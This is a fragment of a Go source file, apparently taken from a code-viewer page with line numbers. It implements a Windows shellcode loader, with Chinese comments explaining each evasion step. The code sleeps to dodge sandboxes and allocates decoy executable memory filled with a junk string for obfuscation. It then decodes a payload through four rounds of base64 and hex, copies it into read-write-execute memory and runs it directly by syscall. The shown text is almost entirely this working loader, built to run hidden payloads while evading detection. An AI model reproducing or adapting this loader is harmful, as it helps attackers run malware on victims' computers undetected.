()
| 47 | } |
| 48 | |
| 49 | func main() { |
| 50 | |
| 51 | time.Sleep(60 * time.Second) |
| 52 | |
| 53 | // 内存加载shellcode前,先压入一段无关字符串用来混淆 |
| 54 | var c string = "sgamfygyjffqrqwxzcvzxbsdwdqbsdbgagqwQWRQW/.OAUSHCNIADOdjfqwSFADOQIWOIJOGWEMPOSDPOOPasffvaSFAsafwfYRinJD3124651612qwrE02e" |
| 55 | |
| 56 | // 调用VirtualAllo申请一块内存 |
| 57 | addr1, _, err := VirtualAlloc.Call(0, uintptr(len(c)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) |
| 58 | //调用RtlCopyMemory加载进内存当中 |
| 59 | _, _, err = RtlCopyMemory.Call(addr1, (uintptr)(unsafe.Pointer(&c)), uintptr(len(c)/2)) |
| 60 | |
| 61 | Str := Readcode() // 加载 shellcode |
| 62 | deStrBytes := Base64DecodeString(Str) // 4次base64解码 |
| 63 | for i := 0; i < 3; i++ { |
| 64 | deStrBytes = Base64DecodeString(deStrBytes) |
| 65 | } |
| 66 | shellcode, err := hex.DecodeString(deStrBytes) |
| 67 | |
| 68 | // 调用VirtualAllo申请一块内存 |
| 69 | addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) |
| 70 | if addr == 0 { |
| 71 | checkErr(err) |
| 72 | } |
| 73 | // 调用RtlCopyMemory加载进内存当中 |
| 74 | _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)/2)) |
| 75 | _, _, err = RtlCopyMemory.Call(addr+uintptr(len(shellcode)/2), (uintptr)(unsafe.Pointer(&shellcode[len(shellcode)/2])), uintptr(len(shellcode)/2)) |
| 76 | checkErr(err) |
| 77 | |
| 78 | //syscall来运行shellcode |
| 79 | syscall.Syscall(addr, 0, 0, 0, 0) |
| 80 | |
| 81 | } |
nothing calls this directly
no test coverage detected